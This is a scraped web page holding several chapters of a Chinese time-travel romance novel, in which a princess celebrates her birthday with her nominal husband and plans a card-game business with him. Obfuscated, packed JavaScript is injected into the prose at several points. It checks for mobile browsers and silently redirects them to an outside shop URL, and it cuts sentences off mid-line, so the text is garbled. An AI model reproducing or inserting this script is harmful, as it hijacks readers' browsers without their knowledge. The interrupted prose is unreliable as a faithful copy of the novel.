“天命难说……所谓神佛,几乎没人见过,好多还都是骗子们骗人打的幌子。命这个东西看不见摸不着的,重要的还是做好自己。”郗萌想了想自己学习的近代史,兴致勃勃道,“以前本宫看过一本书,写了一个很久以后的故事。说呀,有个叫‘东华’的国度,老百姓那日子过得是苦不堪言。可那里的仁人志士们偶然得到一本‘盛世秘籍’,反复研读后努力践行。后来,他们带着贫苦百姓反抗无道朝廷的压迫和外来的侵略,经过许多艰苦卓绝的斗争,最终推翻了地主统治和外族入侵,建立了老百姓当家做主的国家。他们其中不乏地主后代,却无私得把家里的田地都分给佃户,可见身份什么的不是最重要的,如何为人处事才见真章。最后啊,所有人都过上了人人有其田、处处皆平等的好日子。” 众人听完郗萌的描述,眼睛闪烁起不一样的光芒,都对那样的生活心向往之。 “那您说,什么时候这儿也能过上那种日子呢?”晓禄羡慕道。 郗萌沉吟少顷,因为她知道现代还没实现完全的社会主义,封建的古代更是任重而道远,“可能需要很久,但本宫相信总有那么一天。因为世代备有人才出,一代一代人去努力,总会有那天的……” 此言一出,刚刚高涨的情绪瞬间有点泄气。 美好的愿景,总是虚无缥缈…… 郗萌见状假咳两声,缓了缓气氛,亲切道,“不扯那么远了,大家就看看身边。本宫虽不能平定清宇、天下大同,但这院子还是管得住的。以后,你们大伙好好干活,互敬互爱,本宫定会赏罚分明,不会亏待任何一个人。总之就是,管事的可以给别人安排活,但别仗着资格欺负小辈,胡乱摊派,欺负老实人。大家都是贫苦出身,别‘弱者抽刀向更弱者’,那种逞威风才是最丢人的。但也不是说小辈儿能恃宠而骄,也要尽心干活、尊老爱幼,别偷懒耍滑。这样,你好我好大家好,多好?” 郗萌本想说进了一个院都是家人,没有高低贵贱之分,只有分工不同。可她身为公主,就是最大的剥削者、特权者,这话说着太虚伪。穿越者普遍因受到社会主义教育,想推广平等,但在封建时代,个人之力难扭过时代大势与民智局限,她也只能先从修身齐家做起。 “好!” 众人再次齐声回道,盛世传说于她们确实遥远,但郗萌的话点燃了她们的信心,相信以后王府的生活会幸福。 在众人聊得意气风发、信心满满之时,萧复阔步走进小院,见状笑问,“聊什么呢,这么热闹?刚老远听到喊什么‘蒜’呀、‘好’呀。这公主生辰大喜之日,大伙儿都吃面啦?” 话音未落,晓福恭谨得为萧复搬来凳子,晓禄奉上新倒的茶水。虽然刚才说的热火朝天,但主子回来,侍候之事依然没有懈怠。 “没什么,忆苦思甜呢。”郗萌莞尔道,之前的小小阴霾在萧复出现的一刻彻底烟消云散。 “哦,与民同乐呀。” 萧复说完向徐决使了个眼色,徐决会意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891348|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将院内所有下人带了出去,留他们二人说话。 郗萌有点丈二和尚摸不着头脑,“怎么了?” 萧复表面依旧一副没心没肺的表情,笑呵呵道,“没什么事。只是你刚才说的故事挺新鲜呐,我从来都没听过。别人应该也没听过……” 郗萌听出他话中有话,觉得他有所顾忌,可她不喜欢打哑谜,直言道,“有什么就直说。你这么说,我云里雾里的,别扭。” 萧复苦笑一声,低语道,“率百姓造反这种事,最好还是莫要提了。我知道你心善,同情民间疾苦,看不惯仗势欺人的事儿。而且您贵为公主,即便言语有失,圣上对你宠爱有加,不会责怪你,下人对你敬畏非常,也不敢有微辞。但我们,一介前朝罪臣,要是有些话被有心人传到圣上耳朵里,怕是要吃不了兜着走了……” 说话间,郗萌感觉的出萧复的谨小慎微,而自己确实一时说嗨了,有点忘乎所以,人飘了,某些话犯了忌讳。 见郗萌沉默不语,萧复以为她生气了,赶紧躬身补充道,“唉,抱歉,刚才是我僭越了。您自然可以言无禁忌,但我等还需谨言慎行,不敢言说政事,只怕说一句错话就身首异处了。我就是担心,若是您之前的旷世言论传到好事者耳中,再被添油加醋、搬倒是非,让圣上以为我们有不臣之心,后果就不堪设想了……” 郗萌没有责备萧复的意思,只是在反思自己的行为,脸色比往常阴沉了一点,“无妨,我明白你的顾虑。有些事确实得小心为妙,所谓‘小心驶得万年船’嘛。谢谢你的提醒。” 一句感谢让萧复受宠若惊,他连忙摆手道,“不敢不敢。我就是一个自私的俗人,什么事都要为家里多想点,不好意思委屈你说话不能尽兴了。” “咱们不是朋友了吗?有话就要说开啊,互相指出不足才能共同进步嘛。”郗萌一副虚心“纳谏”的大度模样,“没想到你表面好像事事都无所谓,但心思蛮细腻呢,考虑得挺周全。” “唉,你谬赞了。我没有大本事,只能从细枝末节上瞎费功夫。”萧复也谦虚道,“不过你放心,我已经让徐决叮嘱院里的人守口如瓶,免得给你、给家里招来祸事。” 萧复嘴上说着“叮嘱”,但实际上是严令任何人不得将院内谈话泄露半句,否则“府未灭尔先亡”…… “大好的日子,不该啰啰嗦嗦说这些,是我杞人忧天啦。”萧复话锋一转。语气重归轻松诙谐,“你今天是没看见妙花牌发布会的场面,那……” 没等萧复说完,郗萌想到小品的情节,笑着接话道,“锣鼓喧天,鞭炮齐鸣,人山人海?” “差不多吧,反正是万人空巷,广受欢迎。”萧复自鸣得意道,“这刚一卖就赚了好多,订货的络绎不绝。尤其是阿焕和他那些书法大家朋友们做的联名款,更是瞬间售罄,这名气真是好用。而且我还命人做了好几套限量的金银妙花牌,雕的是名家大作,镶嵌的是宝石琅翠。那一张张的,不说巧夺天工,也是精美绝伦。‘可惜’玩是不能玩了,只能摆着观赏,价钱还不菲,达官贵人们倒是热情不减,也很快卖光了,还让我赶紧多做些呢。” 郗萌想起某电影桥段,心里笑说,“不求最好,但求最贵……” 11. 生辰 “不说这些了,说正事儿。”萧复浅笑拍手,从院外走进三位妙龄丫鬟。三人每人手上捧着一个精致的锦盒,在萧复的示意下恭敬得放在石桌之上,而后莲步离开。 “来瞧瞧,给您搜罗了些生辰贺礼。”萧复亲自将锦盒一一打开。 第一个长盒中,躺着一把唢呐。不同于之前郗萌随手借来的那把,这支唢呐通体由紫檀木雕成,喇叭口镶着一圈细密的银丝,在阳光照耀下散发着淡淡光华,杆身雕刻着繁复的云纹,处处透着华贵非凡。 “知你喜好此物,我便寻了这‘凤鸣九天’来。”萧复拿起唢呐,轻轻递于郗萌,“据说出自前朝宫廷乐师之手,音色清越,可传数里。配你,正合适。” 郗萌对乐器其实没啥深入研究,但这份礼物的贵重与用心,她感受得到。她接过唢呐,入手沉甸甸的,木料温凉,她试着凑到唇边,运足底气吹了一个短音。 “呜——” 声音果然洪亮饱满,迥异于凡品。 “怎么样?”萧复挑眉,带着点求表扬的意味。 “破费了。”郗萌将唢呐小心放回盒中,心中泛起丝丝感动的涟漪。 “无甚无甚。” 萧复浑不在意地摆摆手,便打开第二个锦盒。里面是一副金光灿灿的“妙花牌”,牌身非纸非木,竟是一张张薄薄的金片,边缘打磨得圆润光滑,牌面上的花色、数字皆由细小的宝石镶嵌而成。虽然牌面只是普通的梅花方块之类,但萧复排开之际,桌面瞬间流光溢彩,让郗萌有种闪瞎人眼的视觉冲击。 “这款限量版全大梁独此一套。”萧复得意地拿起一张“大王”,上面嵌着的小宝石在光线下变幻着耀眼的光泽,“可惜,这玩意儿沉手,只能看,不能玩儿,摆着当镇纸倒是气派。” 郗萌拿起一张,入手冰凉沉重,这哪是牌,分明是移动的小金库。她忍不住吐槽:“你这炫富炫得也太直白了。” “我赚钱不就是为图美人一笑吗?你高兴就好。”萧复随即解释道,“其实,金子质软怕走样,牌中间掺了黄铜,金子就表面薄薄一层,没那么奢侈啦。而且,咱这妙花牌的生意我还拉了些贵人入股,这些天赚了不少钱,这副牌的花费你无需挂心。” 接着,萧复打开了第三个锦盒,里面是一把折扇。扇骨是温润的白玉,扇面绘着写意山水,烟波浩渺,孤帆远影,侧面题着两句诗,“行至水穷处,坐看云起时,”落款“闲云野鹤”。 “我收藏里,这把还算能入眼。”萧复将扇子轻轻放在郗萌手中,语气随意,眼神却带着几分郑重,“扇子嘛,就是扇风、附庸风雅,你拿着玩。” 郗萌摩挲着冰凉的玉质扇骨,看着那飘逸的“闲云野鹤”四字,心中微动。她记得晓福说过,萧复爱扇成癖,尤其珍爱名家墨宝。她闲来无事时,曾观瞧过萧复的藏品,不曾见过这把白玉骨折扇,而且那些扇子显然比不过这把,连她这外行人都看得出来,绝不像他说的那么轻描淡写。 还没等郗萌说话,萧复小心翼翼从袖袋取出一个丝绒小袋,倒出一只玉镯。那玉镯通体翠绿,水头极好,毫无杂质,如一汪凝固的春水。 “这是我娘留下的。我爹说,是留给儿媳妇的。他老人家今日被你哄得很开心,让我务必转交给你。” 郗萌看着那翠得滴水的镯子,心下惶然,明白它意义非同一般,含着他已故母亲的期盼。她下意识想拒绝,“这太贵重了……而且,咱们不是……” “咱们是‘不是’,”萧复却不以为意,依然笑道,“但咱们表面还是。你就安安心心地戴着,全当哄老人家开心,别辜负了他一番心意。”说着,他将玉镯递给郗萌,示意她戴上。 郗萌不好再推脱,只能将玉镯戴到手腕,尺寸竟然刚刚好,宛若量身定做。 她看着腕间那抹翠色,再看看桌上那堆价值不菲的“生辰礼”,不由心头一暖,一时竟不知该说些什么。 紫檀银丝唢呐、黄金妙花牌、白玉骨折扇、传家玉镯……她抬头望向萧复,此刻他的眉眼格外清晰,仿佛比以往更加英俊迫人。 萧复也正看着她,自然收到她饱含感激的目光,他心满意足的一笑,眼底有着自己都未察觉的温柔,“不用客气,我就想把最好的都给你……” 晚风拂过,带着夏末的微燥,却吹不散空气中蓦然升腾的暧昧与悸动。 萧复轻咳,驱散弥漫的暧昧,笑着对她邀请道,“礼物都看完了,别再在意。寿星,可否赏脸一同去逛逛庙会、游游定河?今天乞巧节,外面可热闹呢。” 他的笑容坦荡,带着纯粹的期待,驱散了郗萌心中的犹豫。她嫣然一笑,“好!头前带路吧。” “好嘞,包您流连忘返。”萧复微微躬身做了个请的手势。 两人出门没有大张旗鼓,只带了徐决、晓福等三四名随从,一路轻车简从,融入了定城七夕的热闹。 街上人流如织,道路两旁挂满了各式花灯,兔子、荷花、鲤鱼种类繁多,形态各异,光影摇曳。少女们穿着漂亮的衣裙,手持团扇,结伴而行,巧笑倩兮,或在街边的小摊前挑选女红用品,或对着月亮穿针引线,祈求织女赐予巧手。小贩的叫卖声、孩童的嬉笑声、丝竹管弦之声交织在一起,汇成了一幅生动的古代市井画卷。 郗萌初见古时七夕庙会,处处觉得新鲜,东瞧瞧西看看。不一会,就左手拿着刚买的糖人,右手提着花灯,在萧复的保护下,在人群中穿梭。 众人行至一座香火鼎盛的庙宇前,只见院中矗立着一棵参天古树,枝干虬结,郁郁葱葱,也不知经历了多少岁月。树上系满了红色的绸带,迎着微风轻轻飘荡,如同满树开满了红色的花。 “这是定城有名的祈愿树,”萧复解释道,“据说很灵验。” 郗萌现代时也见过类似的“许愿树”,没想到古今中外人心皆同。她看着那满树的红绸,眼中流露出向往。 萧复当下了然,对徐决示意了一下。徐决很快便从庙祝那里取来了两条崭新的红绸和笔墨。 郗萌接过,走到石案前,故意躲着众人,认真写道。 “一愿,平安归家。” “二愿,众生安好。” “三愿,他也好吧……” 写到最后,她笔尖顿了顿,在末尾画上了一把小巧的折扇简笔画,将红绸叠放手中,于是双手合十,闭目祈愿,神情前所未有的虔诚。 萧复站在她身侧,静静地看着她。灯火勾勒着她柔美的侧脸,晚风拂动她额前的碎发,那份专注和祈愿的姿态,莫名地戳中了他内心最柔软的一处,麻麻的,痒痒的,一种难以言喻的情愫悄然蔓延。 待郗萌睁眼,萧复状似无意地问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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郗萌惊魂未定,脚踝处传来一阵锐痛,想必是下落时崴到了,走起路一瘸一拐。 “伤到哪儿了?”萧复顾不上自己,急忙查看她的情况,语气难掩紧张与关心。 郗萌自认没那么矫情,也不想扫兴,强忍着疼痛,微微咧嘴道,“没、没事,就是脚崴了一下。” 萧复看她那副强撑的模样,又是心疼又是好笑,故意调侃道:“哦,我还想着要是严重,待会去定河游船,背您一程呢。” 郗萌闻言,噘起了嘴,小声嘟囔:“谁要你背……” 话音未落,萧复却已转过身,在她面前蹲了下来,拍了拍自己的肩膀,温柔道,“上来。” “啊?”郗萌一愣。 “您别客气啦,我是你丈夫,总不能让别的弱女子或者老爷们背你吧,快点上来。”萧复回头,耐心的劝道。 郗萌看着眼前宽阔的背脊,犹豫了片刻,最终还是红着脸,慢慢地趴了上去。萧复稳稳地托住她的腿弯,轻松地站了起来。 郗萌没想到他的背脊如此宽厚结实,隔着衣衫透着温热的体温。一种前所未有的安心感将她包裹,之前的惊吓和疼痛似乎都减轻了不少。她悄悄将脸贴近他的后背,听着他稳健的心跳,心里像打翻了蜜罐,甜丝丝的。 萧复背着她,穿过熙攘的人群,周围投来各种好奇、羡慕的目光,他却毫不在意,嘴角噙着一抹连自己都未察觉的笑意。 12. 星河 定河码头离庙宇不远,未多时萧复就背着郗萌来到了定河边,一艘装饰雅致的画舫早已等候在此。 登船后,郗萌发现舫内布置得极为用心。角落放着冰盆,驱散了夏夜的闷热;桌上摆满了她平日里喜欢的菜肴,虽非山珍海味,却样样精致可口。船舱四角挂着盏盏琉璃灯,柔和的光线洒满船舱,映着窗外粼粼的河水和满天星斗,温馨又浪漫…… 画舫缓缓离岸,驶向河心。远处花船传来阵阵丝竹管弦之声,不久又飘来歌姬那柔靡婉转的歌声。 虽然歌姬唱得娓娓动听,却让郗萌听出了潜藏的淡淡忧伤。 压迫啊…… 她望着窗外宽阔的河面、岸上星星点点的灯火,忽然想起了另一首歌,轻声哼唱起来,“一条大河波浪宽,风吹稻花香两岸,我家就在岸上住……” 她的声音清亮,带着现代歌曲特有的慷慨与悠远,在这古典的夜色中别有一番韵味。萧复从未听过这样的曲调,不由得沉醉其中,只觉得心胸也随之开阔起来。 一曲唱完,萧复不禁抚掌赞叹,“唱得真好,曲子颇为特别,听着让人心潮澎湃。”看着壮阔波澜的河水,他也想赋诗一首以和此曲,但奈何腹无点墨,最后只憋出一句,“这水……真是大啊!” 郗萌被他这毫无文采的感慨逗得“噗嗤”一笑,方才那点感怀瞬间消散。 “不说这些了,来用膳。”萧复尴尬的转移话题,体贴得将温热的湿巾递上,让她净手。 随后,萧复更是耐心地帮郗萌把酱鸭剔骨、将清蒸鱼去刺,用小碟将鲜嫩的鸭肉、雪白的鱼肉放到她面前。 郗萌瞧着他专注的模样,心中暖涌,忍不住夸道,“你还挺贴心嘛!” 萧复手上动作不停,脱口而出道,“你之前不也挺贴心嘛。” 郗萌明白他是在说为他谋划生意、提醒他注意保密之事。 萧复望着若有所思的神情,又恢复了那副玩世不恭的模样,拱手玩笑道,“公主千金之躯,臣自当肝脑涂地,在所不辞。” 郗萌被他逗得再次笑了起来,被人如此细致地照顾、宠着捧着,感觉确实很好。她蓦然闪过一个念头,怪不得历史上奸臣佞臣容易得势,这种无微不至的“好”,确实让人难以抗拒。她知道自己不该沉溺于此,这份好里或许掺杂着恭维与因身份而起的算计,可她孤身在此,心防似乎也变得脆弱了,一时竟有些舍不得推开…… 酒至微醺,画舫行至一处开阔的水域,四周静谧,唯有水声潺潺。一轮明月当空,清辉洒落江面,宛若碎星万点。夜色中岸边树影摇曳,人声窸窣,不禁又惹旅人思乡…… 郗萌低声吟道:“移舟泊烟渚,日暮客愁新。野旷天低树,江清月近人。” 萧复放下筷子看向她,敏锐地捕捉到她眼底一闪而过的落寞,关心道,“怎么了?” 郗萌敛了敛情绪,摇摇头道,“没什么。”她顿了顿,看向萧复,语气带着几分探究和复杂,“只是觉得,你如此‘不计前嫌’地对我好,挺不容易的……” 萧复自然知道郗萌指的是两国之间的纷争仇怨,顿时眸光微闪,自嘲一笑,“您这是寒碜我没心没肺吗?” “没”,郗萌连忙否认,语气低落下去,“我只是……想家了,想我的家人了……” 想家人对自己的好,那种毫无保留、不求回报的好。以往自己不甚在意,如今却遥不可及…… 萧复盯着她低垂的眼眸,心中疑惑更深。他想,她口中的“家”应该在京城,应该是皇宫、公主府,可之前她也提过“想家”,却又不是那些地方,看她的神态语气似乎另有隐情。他也不多纠结,只当她是远嫁不易,温声安慰,“若不嫌弃,我不仅可以当你的朋友,也可以是你的家人。我们好歹名义上是夫妻,也算是至亲之人嘛。” “家人?……”郗萌喃喃重复着这个词,心中百感交集。 醉意袭来,她挪步船舷,吹着河风,无意识地伸出手,拨弄凛凛河水,冰凉的触感让她稍稍回神。 画舫被水波推动,猛然一晃,她身体随之倾斜,一时不稳竟向河中栽去。 “小心!”萧复眼疾手快,长臂一伸,将她牢牢揽回怀中。 远处的晓福见状急忙想上前查看,却被徐决伸手拦住,示意她不必过度紧张,他们侯着即可…… 四目相对,呼吸可闻。 萧复怀中带着清冽的酒气和温热的体温,郗萌能清晰地听到自己如擂鼓般的心跳,脸颊瞬间绯红。 萧复顿时也怔住了,怀中人柔软的身躯和淡淡的馨香让他一时忘了松手。 须臾过后,两人皆觉不雅,各自后退,迅速分开,不由得别开脸,不去看对方,掩饰慌乱与尴尬。 “多谢。”郗萌捋着发丝道。 “没事就好。”萧复也有些不自然地整理了下衣袖。 气氛微妙之际,郗萌决定用美食化解尴尬,回到桌前道,“还有这么多菜,别浪费了,再吃点吧。” “好。”萧复再次提杯,“再祝您生辰愉快,愿年年有今日,岁岁有今朝。” “嗯。”郗萌下意识点了点头,也举杯一饮而尽。但她作为一个迷迷糊糊的穿越者,哪里知道能在此处待到何年何月…… 古代水酒虽说度数低于现代烈酒,但对于没什么饮酒经验的郗萌,也是后劲十足。加上游玩累身、思乡累心,她不知不觉头脑迷蒙,视线模糊,最终趴在桌上,迷迷糊糊地醉了过去。 萧复看着她恬静的睡颜,无奈地笑了笑,小心地将她抱起,安置在舫内柔软的榻上,细心地为她盖上薄毯。 “醉后不知天在水,满船清梦压星河……” 他低声念了一句,守在榻边,静静地看着她,目光复杂难辨…… 是夜,萧复独自返回祈愿树,将郗萌所挂的红绸取下,展开看完内容,不由会心一笑…… 翌日日上三竿,郗萌才头痛欲裂得从自己的床上醒来。 晓福伺候她梳洗时,道,“公主,世子一早就开始在院里忙活,在摆弄什么花花草草,也不知做些什么。” “哦?”郗萌也丈二和尚摸不着头脑,“等待会儿看看便知。” 晓福眼神扫了一圈,低声道,“请您恕奴婢多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16909350|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴,近来世子对您殷勤备至,您还需当心,莫一时被蒙蔽……” 郗萌自然听出她的弦外之音,但不知为何不想让别人说萧复的坏话,抬手做了个“止”的手势,故作泰然道,“本宫明白。就算是糖衣毒|药,本宫也只会吃掉糖衣,撇去毒|药。而且,从这些日子来看,萧家挺安分守己,去京城的信你就斟酌着来吧。而且,本宫知道自己的深浅,圣上也不过是让本宫起个震慑的作用,不指着做什么惊天伟业。咱们在这平平安安生活,才是最实实在在的。” 晓福无奈的点点头,但也认同郗萌的说法,反正天高皇帝远,好好过日子确实比勾心斗角舒坦。 待梳洗好,郗萌好奇地走出去,只见萧复正指挥着仆役,将一棵形态颇似昨日祈愿树的小树,小心翼翼地移植到院中的一角。树木虽小,却亭亭如盖,生机盎然。 “这是?”郗萌惊讶。 萧复回头,脸上带着些许得意,“我看你挺喜欢那棵祈愿树,就让人寻了棵相似的移过来。而且这树我找了寺里的大师开光,以后你想许愿,在咱自家院里就行,省得爬高上低,再摔着。可能灵验效果差点,您就当个消遣吧。” 郗萌看看小树,再看看萧复额头的汗水,暖流再次涌上心头,却只能干干得说声“谢谢。” “你别老这么客气啦,都是应当应分的。”萧复喝了口仆人递来的茶水,“待会儿我还有事要去店里,等不忙了再带你出去玩儿。” “好,你去忙吧。”郗萌说罢瞬间愣住,这语气怎么像居家好太太。 萧复闻言目光不由自主地飘向她的手腕,那只翠绿的玉镯在她白皙的腕间,显得格外好看,他赚钱的动力似乎也更足了…… 用过午膳,郗萌闲来无事想起现代时的手工,便让晓福找来了许多彩纸。她凭着记忆,耐心地折叠起来。不多时,一只只栩栩如生的千纸鹤和一颗颗小巧的幸运星便在她指尖诞生。她将这些纸鹤和星星用红色的丝线串起来,末尾挂上了两个小铜铃,做成了一串别致的风铃。 她想把这风铃送给萧复聊表谢意…… 傍晚萧复归来,一眼就看到了挂在窗旁的这串五彩风铃。晚风微拂,风铃轻轻转动,铜铃发出空灵的响声,纸鹤与星星相互碰撞,在夕阳的余晖下,投下斑斓的光影。风铃后面还有郗萌的笑颜,令人感觉分外美好。 还未等萧复开口,郗萌解释道,“送你的,听说风铃能带来好运。纸鹤代表平安,星星代表愿望成真。希望咱们的生意越来越好,每个人都平安喜乐。” 萧复定定地看着那串在微风中摇曳生姿的风铃,看着那些精巧的、充满奇思妙想的折纸,心中最坚硬的某个角落,仿佛被什么东西轻轻撞了一下,酸涩而又柔软。他收藏过诸多名贵的折扇,却觉得无一能及眼前这串看似简单,却凝聚了无限心意的风铃。 他抬眸望向站在光影里的郗萌,她正含笑看着他,眼神清澈而温暖。 千言万语最终汇成一句“谢谢”…… 这一刻,星河轮转,岁月静好。有些东西,似乎在悄然改变,无声无息,却已在心底生根发芽…… 13. 斗牌 夏末的夜晚,庭院里多了那棵小小的许愿树后,似乎连风都变得格外温柔。 微风穿堂而入,每天一届的“夜谈会”再次如约“举行”。 郗萌躺在床上,摇着萧复送的那把白玉骨折扇,无事闲聊道,“妙花牌的生意,近来怎么样了?” 萧复正懒洋洋地靠在躺椅上,闻言立刻来了精神,桃花眼里闪着光,“那可是风靡了大街小巷!上至达官贵人,下至平民百姓,如今聚会宴饮,谁不摸上几把?咱们那本《妙花攻略》都快被翻烂了,民间还自发琢磨出许多新玩法,什么‘憋七’、‘争上游’,比咱们想的还有趣。”他语气中带着毫不掩饰的得意,“我可是把这些年吃喝玩乐积攒的人脉都用上了,各处的宣传一个不落。酒楼茶肆自不必说,连那些青楼里,牌九都快没人玩了,都在玩儿咱的妙花牌,出货量极大。其实,除了特制的,一般的妙花牌制作成本不高,工艺流程成熟了,出货又快又好,现在就是干赚。” “青楼?”郗萌摇扇的手顿了顿,捉住了一个“关键词”,语气里掺了一丝自己都未察觉的凉意,但终究没再往下说。 萧复瞬间反应过来,机敏地坐直了身子,连忙解释道,“您可别多想。我以前去那儿,只‘酒地’,不‘花天’,就是听听小曲儿,看看美人跳舞,养养眼,歇歇神,找找乐,逾矩之事我可是一件没做过。而且自从您病好了,我只去那儿谈过事,连曲儿都不听了”,他摸了摸鼻子,带着点讪讪的坦诚,“说实话,我也怕那什么……花柳病不是?咱可是‘百花丛中过,片叶不沾身’。” 郗萌被他这直白的解释逗得差点破功,强忍着笑意,白了他一眼。她心里也明白他话里另一层月未尽之意,一个流连风月、不思进取的纨绔,总比一个励精图治、广结人脉的前朝世子更让朝廷放心。想到这里,那点微妙的吃味也散了,不再揪着此事不放。 萧复见她神色缓和,立刻又兴致勃勃地汇报起成绩,“还有,我名下的那家雅源茶社,如今也添了新活儿,专设了十几个棋牌雅间,环境清幽雅致,提供上好的棋牌器具。多付银两,还有乐伎在旁演奏清音雅乐,平添玩牌乐趣。这新招又揽来了不少附庸风雅的文人墨客和闺阁女眷。” 说到此处,他话锋一转,脸上露出一丝愁容,“不过,也有件烦心事。市面上出现了仿冒的妙花牌,虽然做工粗糙,但价格低廉,抢去了咱们不少低层的生意。” “防伪呢?我们一开始不是就做了吗?”郗萌蹙眉。 “是做了,用的还是接近银票的印制规格,花纹复杂,还有暗记。”萧复叹了口气,“可妙花牌本身构造并不复杂,那些仿制的只要形似即可,老百姓图便宜,根本不在意那些精细的防伪。” 郗萌沉吟片刻,明白古代没有专利保护,这种行为禁不住,思索间眼中灵光一闪,“既然防不住,我们就让他们仿不了。” 她放下折扇,起身认真道,“我要给咱们的妙花牌找一个最强有力的背书。” “你的意思是?”萧复不解地问。 “向朝廷进贡。”郗萌语出惊人,“给皇上做一套天下独一份的!用最好的纸,或者用金箔玉片,请首屈一指的书画大师绘制牌面,每一张都是艺术品,绝对天下至尊。再顺便给宫里进贡些咱当地的时令特产、奇珍异宝,只有妙花牌还是太孤了。然后,给后宫妃位以上的娘娘们,按品级送上不同品质的妙花牌和精装版的《妙花攻略》。只要宫里兴起玩妙花牌的风潮,这‘皇家御用’的名头,就是最好的招牌。到时候,那些有钱有势的人家,谁不想用上和宫里一样的东西?钱还不是滚滚而来?至于低端市场,就让他们仿去吧,咱不与民争利。我们要赚,就赚顶尖的钱!” 萧复听得眼睛越来越亮,猛地一拍大腿,“妙啊!此计甚妙!借着进贡的机会,既表达了忠心,又打响了招牌,一举两得!我明日就让书房先生起草奏表……” “不,”郗萌打断他,嘴角噙着一抹狡黠的笑,“这奏表,得你亲自写。” “我?”萧复面露难色,“我那笔字尚堪入目,但那手文章着实……” “就是要你亲自写。”郗萌笃定道,“越是话语浅白,越显得实心实意。在一堆骈四俪六的奏章里,才显得与众不同,皇上看了反而觉得新鲜、真实。你奏表里在请安之余,就写这妙花牌如何有趣,如何能陶冶性情,如何受百姓喜爱,虽然主要是为了玩乐哈。再说你作为驸马,偶得此物,不敢专美,特献于君前,使君与民同乐。你写完再让书房先生看看,别有大的纰漏就行,主打一个真情实感。” 萧复仔细琢磨着她的话,越想越觉得有理,点头应下,“好,就听你的,我亲自写!” 郗萌记得原书中皇后与长公主关系甚佳,对原主郗宝宠爱备至,这溺爱也是她长歪的原因之一,但疏通好皇后的关系,对他们的生意确实有裨益。 “还有,若此事能得皇后娘娘在宫中助力,定当更加顺遂。”郗萌想明日让晓福替自己修书一封给皇后,叙叙旧,顺便提提这妙花牌的新奇之处,再挑些女人喜爱的胭脂首饰,与给皇帝的贡品一同送去京城。 “多谢……” 还未等萧复谢完,郗萌郗萌又想起一事,“这生意又不是你一个人的,我也有股,不用这么客气。还有一件事,广源书局的定位是精品、高端,我们何不再开一家‘平源书局’?专卖普通纸张印刷的妙花牌,走亲民路线,定价低廉些,让普通老百姓也买得起。这样把市场区细分开来,但也得让别人知道这‘平源书局’也是萧家的产业,等皇宫带货的效果起来了,即便老百姓在平源书局买的普通牌,也能蹭上‘皇帝也玩同款’的热度。而且,此举也免得让皇家觉得广源书局还卖便宜东西,掉了价。” 萧复虽然听不太明白有的词,但意思大致了然,不由得对郗萌心悦诚服,抚掌笑道,“还是你想得周全,就按你说的办!” 翌日,萧复就组织人将夜谈会的“议定事项”紧锣密鼓的落实。郗萌也在晓福的帮助下,依据皇家各人的爱好,忙着挑选各种贡品…… 一个月之后,好消息从京城传来。 瑞庆帝对那套极尽奢华的“天下第一妙花牌”爱不释手,对萧复那封“文辞质朴、情感真挚”的奏表也颇为受用,加之皇后在后宫推波助澜,妙花牌果然在宫中风靡起来。皇帝一高兴,竟亲笔题写了“天下第一牌”的匾额,赐予广源书局。 萧复深知这泼天的富贵和荣耀背后,主要不是自己多么笔灿莲花,而是多亏了郗萌的谋划与她在皇家的面子。总觉得自己不知不觉之间,欠下了不少人情…… 匾额送达那日,定城轰动。萧复与郗萌跪接完牌匾,带使者畅游定城,好酒好菜各种招待,充分尽了地主之谊。 待使者返京,萧复特意带着郗萌去书局、茶社巡视妙花牌的生意。所到之处,只见人头攒动,尤其是广 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920608|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 源书局门前,前来求购“皇家同款”精品妙花牌的人排成了长龙。雅源茶社的棋牌雅间更是天天爆满,预约都排到了半月之后。 然而,在前往平源书局路上,他们路过一家赌坊,隐约听到里面传来“对尖”、“压上”的呼喝声,用的正是妙花牌的术语。突然还传来一句“我赢了,拿钱拿钱”的高喊。 郗萌脸上的笑容淡了下去,眸中闪过一丝内疚,“唉,它最终还成了赌具……” 萧复察觉她的情绪,温声劝解,“这不是你的错。有些人是赌性难改,没有妙花牌,他们也会用骰子、牌九,甚至猜拳来赌。器物本身无善恶,还得看使用之人是何心。” “嗯……”郗萌知道他是在安慰自己,轻轻叹了口气,心中复杂难言。 